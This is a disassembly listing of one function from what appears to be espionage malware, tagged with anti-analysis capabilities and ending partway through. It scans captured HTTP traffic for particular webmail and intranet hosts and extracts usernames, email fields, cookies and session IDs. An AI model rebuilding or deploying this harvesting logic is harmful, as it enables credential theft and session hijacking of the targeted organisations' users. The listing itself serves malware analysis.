Function at 0x59016830
Capabilities:
Check for time delay via gettickcount
Check for time delay via queryperformancecounter
Contain obfuscated stackstrings
Move file
Resolve function by parsing pe exports

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5914cda2
push eax
mov eax, dword [esp + 0x24]
mov dword fs:[0], esp
sub esp, 0x154
test eax, eax
push ebx
push ebp
push esi
push edi
je 0x5901685d
mov dword [eax], 0
mov ebp, dword [esp + 0x174]
mov esi, dword [esp + 0x178]
test ebp, ebp
mov dword [esp + 0x130], ebp
mov dword [esp + 0x98], esi
je 0x5901a867
test esi, esi
je 0x5901a867
mov edi, 0x5918a2dc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x5918a2dc
push esi
push ebp
call fcn.5900d550
mov ebx, eax
add esp, 0x10
cmp ebx, 0xffffffff
je 0x5901a867
mov edi, 0x5918a2dc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x18], eax
mov edx, ecx
add edx, ebx
add edx, ebp
cmp byte [edx], 0xd
je 0x59016906
mov eax, esi
sub eax, ebx
mov dword [esp + 0x48], eax
mov edi, 0x5918a2dc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x48]
not ecx
dec ecx
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x59016906
mov eax, ecx
mov cl, byte [eax + edx + 1]
inc eax
cmp cl, 0xd
mov dword [esp + 0x18], eax
jne 0x590168d9
mov edi, 0x5918a2dc
or ecx, 0xffffffff
xor eax, eax
mov edx, esi
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x18]
sub edx, ebx
not ecx
dec ecx
sub edx, ecx
cmp eax, edx
jge 0x5901a867
test eax, eax
jle 0x5901a867
mov eax, dword [0x591638c0]
mov dword [esp + 0x20], eax
mov edi, str.exchange
or ecx, 0xffffffff
xor eax, eax
xor ebx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str.POST__
push ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push str.exchange
add ecx, ebp
mov dword [esp + 0x174], ebx
push ecx
call fcn.590966e0
add esp, 0xc
test eax, eax
jne 0x590169d6
mov edi, str.POST__exchange_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
xor edx, edx
add ecx, ebp
cmp esi, ebx
jle 0x5901699b
mov al, byte [ecx + edx]
cmp al, 0x2f
je 0x5901699b
cmp al, 0xd
je 0x5901699b
cmp al, 0xa
je 0x5901699b
inc edx
cmp edx, esi
jl 0x59016987
push edx
push ecx
lea ecx, [esp + 0x90]
call fcn.590a7110
lea ecx, [esp + 0x88]
mov byte [esp + 0x16c], 1
push ecx
lea ecx, [esp + 0x24]
call fcn.590a77f0
lea ecx, [esp + 0x88]
mov byte [esp + 0x16c], 0
call fcn.590a7660
push str.Content_Type:_multipart_form_data__boundary
push esi
push ebp
call fcn.5900f7b0
mov edx, eax
add esp, 0xc
cmp edx, 0xffffffff
jne 0x59016a06
push 0x5918a2fc
push esi
push ebp
call fcn.5900f7b0
mov edx, eax
add esp, 0xc
cmp edx, 0xffffffff
je 0x5901a853
mov edi, str.Content_Type:_multipart_form_data__boundary
or ecx, 0xffffffff
xor eax, eax
push 0x5918986c
repne scasb al, byte es:[edi]
not ecx
dec ecx
add edx, ecx
mov ecx, esi
sub ecx, edx
lea eax, [edx + ebp]
push ecx
push eax
mov dword [esp + 0x94], eax
call fcn.5900f7b0
add esp, 0xc
cmp eax, 0xffffffff
mov dword [esp + 0x70], eax
je 0x5901a853
push esi
push ebp
call fcn.59016630
push 0x5918a2dc
push esi
push ebp
mov dword [esp + 0x134], eax
mov dword [esp + 0x174], ebx
mov dword [esp + 0xa8], ebx
mov dword [esp + 0xb8], ebx
mov dword [esp + 0xc4], ebx
mov dword [esp + 0xc8], ebx
mov dword [esp + 0x60], ebx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x12c], ebx
mov dword [esp + 0xa4], ebx
call fcn.5900f7b0
mov edx, eax
add esp, 0x14
cmp edx, 0xffffffff
je 0x59016d05
mov edi, 0x5918a2dc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str.mail.peteco.com.cn
add edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea esi, [edx + ebp]
push ecx
push str.mail.peteco.com.cn
push esi
call fcn.590966e0
add esp, 0xc
test eax, eax
jne 0x59016ae1
mov dword [esp + 0x94], 1
mov edi, str.mysinamail.sina.com.hk
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.mysinamail.sina.com.hk
push esi
call fcn.590966e0
add esp, 0xc
test eax, eax
jne 0x59016b0e
mov dword [esp + 0xa4], 1
mov edi, str.win.mail.ru
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.win.mail.ru
push esi
call fcn.590966e0
add esp, 0xc
test eax, eax
jne 0x59016b3b
mov dword [esp + 0xb0], 1
mov edi, str.mail.chinapatentoffice.cn
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.mail.chinapatentoffice.cn
push esi
call fcn.590966e0
add esp, 0xc
test eax, eax
je 0x59016b7f
mov edi, str.mail.chengyh.com
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.mail.chengyh.com
push esi
call fcn.590966e0
add esp, 0xc
test eax, eax
jne 0x59016b8a
mov dword [esp + 0x160], 1
mov edi, str.mail.dycf.cn
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.mail.dycf.cn
push esi
call fcn.590966e0
add esp, 0xc
test eax, eax
jne 0x59016bb7
mov dword [esp + 0x90], 1
mov edi, str.dx.anhuily.com
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.dx.anhuily.com
push esi
call fcn.590966e0
add esp, 0xc
test eax, eax
jne 0x59016be4
mov dword [esp + 0xb4], 1
mov edi, str.webmail.hebmc.com
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.webmail.hebmc.com
push esi
call fcn.590966e0
add esp, 0xc
test eax, eax
jne 0x59016c0e
mov dword [esp + 0x4c], 1
mov edi, str.10.129.255.30:8080
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.10.129.255.30:8080
push esi
call fcn.590966e0
add esp, 0xc
test eax, eax
jne 0x59016c38
mov dword [esp + 0x4c], 1
mov edx, dword [0x591af1ac]
lea ecx, [esp + 0x14]
push edx
call fcn.590a1b80
mov ecx, dword [esp + 0x14]
mov byte [esp + 0x16c], 2
mov eax, dword [ecx - 8]
cmp eax, ebx
je 0x59016c72
mov ebx, dword [esp + 0x18]
push eax
push ecx
push ebx
push esi
call fcn.5900d550
add esp, 0x10
cmp eax, 0xffffffff
jne 0x59016c9a
jmp 0x59016c76
mov ebx, dword [esp + 0x18]
mov edi, str.intra.panasonic.cn
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.intra.panasonic.cn
push ebx
push esi
call fcn.5900d550
add esp, 0x10
cmp eax, 0xffffffff
je 0x59016ca2
mov dword [esp + 0x38], 1
mov edi, str..263.net
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str..263.net
push ebx
push esi
call fcn.5900d550
add esp, 0x10
cmp eax, 0xffffffff
jne 0x59016ce9
or ecx, eax
mov edi, str..263.com
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str..263.com
push ebx
push esi
call fcn.5900d550
add esp, 0x10
cmp eax, 0xffffffff
je 0x59016cf4
mov dword [esp + 0x118], 1
lea ecx, [esp + 0x14]
mov byte [esp + 0x16c], 0
call fcn.590a22e0
mov eax, dword [esp + 0x178]
push str.OA_USER_ID
push eax
push ebp
call fcn.5900f7b0
mov ebx, eax
add esp, 0xc
cmp ebx, 0xffffffff
je 0x59016dcd
mov edi, str.OA_USER_ID
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edx, ecx
add edx, ebx
add edx, ebp
mov al, byte [edx]
cmp al, 0x3b
je 0x59016dcd
cmp al, 0xd
je 0x59016d79
cmp byte [esi + edx + 1], 0xa
je 0x59016d79
mov edi, str.OA_USER_ID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x178]
not ecx
dec ecx
sub eax, ebx
sub eax, ecx
cmp esi, eax
jge 0x59016d79
mov al, byte [esi + edx + 1]
inc esi
cmp al, 0x3b
jne 0x59016d47
test esi, esi
jle 0x59016dcd
mov edi, str.OA_USER_ID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x178]
not ecx
dec ecx
sub eax, ebx
sub eax, ecx
cmp esi, eax
jge 0x59016dcd
push esi
push edx
lea ecx, [esp + 0x1c]
call fcn.590a7110
lea ecx, [esp + 0x14]
mov byte [esp + 0x16c], 3
push ecx
lea ecx, [esp + 0x24]
call fcn.590a77f0
lea ecx, [esp + 0x14]
mov byte [esp + 0x16c], 0
call fcn.590a7660
mov edx, dword [0x591638c0]
mov dword [esp + 0x68], edx
mov eax, dword [esp + 0x38]
mov byte [esp + 0x16c], 4
test eax, eax
je 0x59016e7e
mov edi, str.mail
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str.POST__
push ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push str.mail
add ecx, ebp
push ecx
call fcn.590966e0
add esp, 0xc
test eax, eax
jne 0x59016e7e
mov edi, str.POST__mail_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov esi, dword [esp + 0x178]
xor edx, edx
not ecx
dec ecx
add ecx, ebp
test esi, esi
jle 0x59016e4c
mov al, byte [ecx + edx]
cmp al, 0x2f
je 0x59016e4c
cmp al, 0xd
je 0x59016e4c
cmp al, 0xa
je 0x59016e4c
inc edx
cmp edx, esi
jl 0x59016e38
push edx
push ecx
lea ecx, [esp + 0x1c]
call fcn.590a7110
lea eax, [esp + 0x14]
lea ecx, [esp + 0x68]
push eax
mov byte [esp + 0x170], 5
call fcn.590a77f0
lea ecx, [esp + 0x14]
mov byte [esp + 0x16c], 4
call fcn.590a7660
mov ecx, dword [esp + 0x178]
push str.id_pchome
push ecx
push ebp
call fcn.5900f7b0
mov ebx, eax
add esp, 0xc
cmp ebx, 0xffffffff
je 0x59016f47
mov edi, str.id_pchome
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edx, ecx
add edx, ebx
add edx, ebp
cmp byte [edx], 0x3b
je 0x59016f47
mov eax, dword [esp + 0x178]
sub eax, ebx
mov dword [esp + 0x48], eax
mov ebx, eax
mov edi, str.id_pchome
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov eax, ebx
sub eax, ecx
cmp esi, eax
jge 0x59016eee
mov al, byte [esi + edx + 1]
inc esi
cmp al, 0x3b
jne 0x59016ece
test esi, esi
jle 0x59016f47
mov edi, str.id_pchome
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
sub ebx, ecx
cmp esi, ebx
jge 0x59016f47
push esi
push edx
lea ecx, [esp + 0x1c]
call fcn.590a7110
lea ecx, [esp + 0x14]
mov byte [esp + 0x16c], 6
push ecx
lea ecx, [esp + 0x24]
call fcn.590a77f0
push str._pchome.com.tw
lea ecx, [esp + 0x24]
call fcn.590a82b0
lea ecx, [esp + 0x14]
mov byte [esp + 0x16c], 4
call fcn.590a7660
mov edx, dword [esp + 0x178]
push str.EMAIL
push edx
push ebp
call fcn.5900f7b0
mov ebx, eax
add esp, 0xc
cmp ebx, 0xffffffff
je 0x5901700d
mov edi, str.EMAIL
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edx, ecx
add edx, ebx
add edx, ebp
cmp byte [edx], 0x26
je 0x5901700d
mov eax, dword [esp + 0x178]
sub eax, ebx
mov dword [esp + 0x48], eax
mov ebx, eax
mov edi, str.EMAIL
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov eax, ebx
sub eax, ecx
cmp esi, eax
jge 0x59016fc2
mov al, byte [esi + edx]
cmp al, 0xd
je 0x5901700d
cmp al, 0xa
je 0x5901700d
mov al, byte [esi + edx + 1]
inc esi
cmp al, 0x26
jne 0x59016f97
test esi, esi
jle 0x5901700d
mov edi, str.EMAIL
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
sub ebx, ecx
cmp esi, ebx
jge 0x5901700d
push esi
push edx
lea ecx, [esp + 0x1c]
call fcn.590a7110
lea ecx, [esp + 0x14]
mov byte [esp + 0x16c], 7
push ecx
lea ecx, [esp + 0x24]
call fcn.590a77f0
lea ecx, [esp + 0x14]
mov byte [esp + 0x16c], 4
call fcn.590a7660
mov edi, str.cookie:
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x178]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.cookie:
push edx
push ebp
call fcn.5900d550
mov esi, eax
add esp, 0x10
cmp esi, 0xffffffff
je 0x5901721a
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x5901721a
mov edi, 0x5918a2d4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x178]
not ecx
dec ecx
push ecx
push 0x5918a2d4
push eax
push ebp
call fcn.5900d550
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x5901721a
cmp eax, esi
jle 0x5901721a
mov edi, str.username
or ecx, 0xffffffff
xor eax, eax
lea edx, [esi + ebp]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [esp + 0x17c]
sub ecx, esi
push str.username
push ecx
push edx
call fcn.5900d550
mov ebx, eax
add esp, 0x10
cmp ebx, 0xffffffff
je 0x5901721a
mov ecx, dword [esp + 0x14]
lea eax, [ebx + esi]
cmp eax, ecx
jge 0x5901721a
mov cl, byte [eax + ebp - 1]
cmp cl, 0xa
je 0x590170fe
cmp cl, 0x3b
je 0x590170fe
cmp cl, 0x20
jne 0x590170e9
mov al, byte [eax + ebp - 2]
cmp al, 0xa
je 0x590170fe
cmp al, 0x3b
je 0x590170fe
mov edi, str.username
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ecx, ebx
add esi, ecx
jmp 0x59017085
mov edi, str.username
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
mov edi, dword [esp + 0x174]
dec ecx
mov edx, ecx
add edx, ebx
add edx, esi
add edx, edi
mov al, byte [edx]
cmp al, 0x3b
je 0x59017151
cmp al, 0xd
je 0x59017151
mov edi, str.username
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x178]
not ecx
sub eax, ebx
dec ecx
sub eax, esi
sub eax, ecx
cmp ebp, eax
jge 0x59017151
mov al, byte [edx + ebp + 1]
inc ebp
cmp al, 0x3b
jne 0x59017124
mov edi, str.username
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x178]
not ecx
sub eax, ebx
dec ecx
sub eax, esi
sub eax, ecx
cmp ebp, eax
jge 0x59017213
push ebp
push edx
lea ecx, [esp + 0x2c]
call fcn.590a1d90
push ecx
lea edx, [esp + 0x28]
mov bl, 8
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
mov byte [esp + 0x174], bl
call fcn.590a18b0
lea eax, [esp + 0x88]
mov byte [esp + 0x170], bl
push eax
call fcn.5900b260
add esp, 8
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0x170], 0xa
call fcn.590a2460
lea ecx, [esp + 0x84]
mov byte [esp + 0x16c], bl
call fcn.590a22e0
mov ecx, dword [esp + 0x24]
push ecx
lea ecx, [esp + 0x24]
call fcn.590a79c0
push 0x40
lea ecx, [esp + 0x24]
call fcn.590a8760
cmp eax, 0xffffffff
jne 0x59017202
push 0x5918ac48
lea ecx, [esp + 0x24]
call fcn.590a82b0
lea ecx, [esp + 0x24]
mov byte [esp + 0x16c], 4
call fcn.590a22e0
mov ebp, dword [esp + 0x174]
mov eax, dword [esp + 0x90]
test eax, eax
je 0x590172e7
push 0x591ae140
lea ecx, [esp + 0x1c]
call fcn.590a6d60
push 1
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x5918ac44
mov byte [esp + 0x178], 0xb
call fcn.590a19b0
mov ebx, dword [esp + 0x180]
lea edx, [esp + 0x20]
push edx
push ebx
push ebp
mov byte [esp + 0x180], 0xb
call fcn.59024cf0
mov eax, dword [esp + 0x2c]
add esp, 0x14
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590172d4
push str.dycf.cn
lea ecx, [esp + 0x1c]
call fcn.590a8840
mov edx, eax
mov edi, 0x5918ac2c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
add edx, ecx
lea ecx, [esp + 0x84]
push edx
push ecx
lea ecx, [esp + 0x20]
call fcn.590a9da0
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x170], 0xd
call fcn.590a77f0
lea ecx, [esp + 0x84]
mov byte [esp + 0x16c], 0xb
call fcn.590a7660
lea ecx, [esp + 0x18]
mov byte [esp + 0x16c], 4
call fcn.590a7660
jmp 0x590172ee
mov ebx, dword [esp + 0x178]
mov eax, dword [0x591638c0]
mov dword [esp + 0x58], eax
mov byte [esp + 0x16c], 0xe
mov dword [esp + 0x5c], eax
mov edi, str.cookie:
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x16c], 0xf
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.cookie:
push ebx
push ebp
call fcn.5900d550
mov esi, eax
mov eax, dword [esp + 0x5c]
add esp, 0x10
test eax, eax
je 0x590174a6
cmp esi, 0xffffffff
je 0x590174a6
mov edi, 0x5918a2d4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x5918a2d4
push ebx
push ebp
call fcn.5900d550
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x590174a6
cmp eax, esi
jle 0x590174a6
mov edi, str.asp.net_sessionid
or ecx, 0xffffffff
xor eax, eax
mov edx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
sub edx, esi
push ecx
push str.asp.net_sessionid
lea eax, [esi + ebp]
push edx
push eax
call fcn.5900d550
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x24], eax
je 0x590174a6
mov ecx, eax
mov eax, dword [esp + 0x14]
add ecx, esi
cmp ecx, eax
jge 0x590174a6
mov edi, str.asp.net_sessionid
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x18], eax
mov edx, ecx
mov ecx, dword [esp + 0x24]
add edx, ecx
add edx, esi
add edx, ebp
mov al, byte [edx]
cmp al, 0x3b
je 0x59017412
cmp al, 0xd
je 0x59017412
mov edi, str.asp.net_sessionid
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x59017412
mov eax, ecx
inc eax
mov dword [esp + 0x18], eax
mov al, byte [eax + edx]
cmp al, 0x3b
jne 0x590173dd
mov edi, str.asp.net_sessionid
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x590174a6
push ecx
push edx
lea ecx, [esp + 0x74]
call fcn.590a1d90
push ecx
lea edx, [esp + 0x70]
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
mov byte [esp + 0x174], 0x10
call fcn.590a18b0
lea eax, [esp + 0x18]
mov byte [esp + 0x170], 0x10
push eax
call fcn.5900b260
add esp, 8
mov ecx, dword [esp + 0x14]
mov byte [esp + 0x16c], 0x12
push ecx
lea ecx, [esp + 0x5c]
call fcn.590a79c0
lea ecx, [esp + 0x14]
mov byte [esp + 0x16c], 0x10
call fcn.590a22e0
lea ecx, [esp + 0x6c]
mov byte [esp + 0x16c], 0xf
call fcn.590a22e0
mov edx, dword [0x591638c0]
mov dword [esp + 0x50], edx
mov edi, str.cookie:
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x16c], 0x13
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.cookie:
push ebx
push ebp
call fcn.5900d550
mov esi, eax
mov eax, dword [esp + 0x128]
add esp, 0x10
test eax, eax
je 0x59017800
cmp esi, 0xffffffff
je 0x5901765a
mov edi, 0x5918a2d4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x5918a2d4
push ebx
push ebp
call fcn.5900d550
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x5901765a
cmp eax, esi
jle 0x5901765a
mov edi, str.JSESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov eax, ebx
push ecx
sub eax, esi
push str.JSESSIONID
lea ecx, [esi + ebp]
push eax
push ecx
call fcn.5900d550
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x24], eax
je 0x5901765a
mov edx, eax
mov eax, dword [esp + 0x14]
add edx, esi
cmp edx, eax
jge 0x5901765a
mov edi, str.JSESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x18], eax
mov edx, ecx
mov ecx, dword [esp + 0x24]
add edx, ecx
add edx, esi
add edx, ebp
mov al, byte [edx]
cmp al, 0x3b
je 0x590175c6
cmp al, 0xd
je 0x590175c6
cmp al, 0x21
je 0x590175c6
mov edi, str.JSESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x590175c6
mov eax, ecx
inc eax
mov dword [esp + 0x18], eax
mov al, byte [eax + edx]
cmp al, 0x3b
jne 0x5901758d
mov edi, str.JSESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x5901765a
push ecx
push edx
lea ecx, [esp + 0x74]
call fcn.590a1d90
push ecx
lea edx, [esp + 0x70]
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
mov byte [esp + 0x174], 0x14
call fcn.590a18b0
lea eax, [esp + 0x18]
mov byte [esp + 0x170], 0x14
push eax
call fcn.5900b260
add esp, 8
mov ecx, dword [esp + 0x14]
mov byte [esp + 0x16c], 0x16
push ecx
lea ecx, [esp + 0x54]
call fcn.590a79c0
lea ecx, [esp + 0x14]
mov byte [esp + 0x16c], 0x14
call fcn.590a22e0
lea ecx, [esp + 0x6c]
mov byte [esp + 0x16c], 0x13
call fcn.590a22e0
mov edx, dword [esp + 0x50]
mov eax, dword [edx - 8]
test eax, eax
jne 0x59017800
mov edi, str.POST__
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.POST__
push ebx
push ebp
call fcn.5900d550
mov esi, eax
add esp, 0x10
cmp esi, 0xffffffff
je 0x59017800
mov edi, 0x5918a2d4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x5918a2d4
push ebx
push ebp
call fcn.5900d550
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x59017800
cmp eax, esi
jle 0x59017800
mov edi, str.SESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov eax, ebx
push ecx
sub eax, esi
push str.SESSIONID
lea ecx, [esi + ebp]
push eax
push ecx
call fcn.5900d550
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x24], eax
je 0x59017800
mov edx, eax
mov eax, dword [esp + 0x14]
add edx, esi
cmp edx, eax
jge 0x59017800
mov edi, str.SESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x18], eax
mov edx, ecx
mov ecx, dword [esp + 0x24]
add edx, ecx
add edx, esi
add edx, ebp
mov al, byte [edx]
cmp al, 0x3b
je 0x5901776c
cmp al, 0xd
je 0x5901776c
cmp al, 0x21
je 0x5901776c
cmp al, 0x3f
je 0x5901776c
mov edi, str.SESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x5901776c
mov eax, ecx
inc eax
mov dword [esp + 0x18], eax
mov al, byte [eax + edx]
cmp al, 0x3b
jne 0x5901772f
mov edi, str.SESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x59017800
push ecx
push edx
lea ecx, [esp + 0x74]
call fcn.590a1d90
push ecx
lea edx, [esp + 0x70]
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
mov byte [esp + 0x174], 0x17
call fcn.590a18b0
lea eax, [esp + 0x18]
mov byte [esp + 0x170], 0x17
push eax
call fcn.5900b260
add esp, 8
mov ecx, dword [esp + 0x14]
mov byte [esp + 0x16c], 0x19
push ecx
lea ecx, [esp + 0x54]
call fcn.590a79c0
lea ecx, [esp + 0x14]
mov byte [esp + 0x16c], 0x17
call fcn.590a22e0
lea ecx, [esp + 0x6c]
mov byte [esp + 0x16c], 0x13
call fcn.590a22e0
push 0x5918a2d4
push ebx
push ebp
call fcn.5900f7b0
mov edx, eax
add esp, 0xc
cmp edx, 0xffffffff
je 0x5901a80f
mov edi, 0x5918a2d4
or ecx, 0xffffffff
xor eax, eax
push str.PostCharset
repne scasb al, byte es:[edi]
not ecx
dec ecx
add edx, ecx
sub ebx, edx
add ebp, edx
push ebx
push ebp
mov dword [esp + 0x180], ebp
mov dword [esp + 0x184], ebx
call fcn.5900f7b0
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x590178e7
mov edi, str.PostCharset
or ecx, 0xffffffff
xor eax, eax
mov edx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x5918a2d4
add esi, ecx
sub edx, esi
lea eax, [esi + ebp]
push edx
push eax
call fcn.5900f7b0
mov edx, eax
add esp, 0xc
cmp edx, 0xffffffff
je 0x590178e7
mov edi, 0x5918a2d4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x5918a44c
add ecx, edx
add esi, ecx
or ecx, 0xffffffff
add esi, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x5918a44c
push esi
call fcn.590966e0
add esp, 0xc
test eax, eax
je 0x590178dc
mov edi, str.utf8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.utf8
push esi
call fcn.590966e0
add esp, 0xc
test eax, eax
jne 0x590178e7
mov dword [esp + 0x94], 1
push str.OPT4
push ebx
push ebp
mov dword [esp + 0x134], 0
call fcn.5900f7b0
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x59017976
mov edi, str.OPT4
or ecx, 0xffffffff
xor eax, eax
push 0x5918a2d4
repne scasb al, byte es:[edi]
not ecx
dec ecx
add esi, ecx
mov ecx, ebx
sub ecx, esi
lea edx, [esi + ebp]
push ecx
push edx
call fcn.5900f7b0
mov edx, eax
add esp, 0xc
cmp edx, 0xffffffff
je 0x59017976
mov edi, 0x5918a2d4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x5918ac08
add ecx, edx
add esi, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
add esi, ebp
push ecx
push 0x5918ac08
push esi
call fcn.590966e0
add esp, 0xc
test eax, eax
jne 0x59017976
mov dword [esp + 0x128], 1
mov edx, dword [esp + 0x70]
mov esi, dword [esp + 0x88]
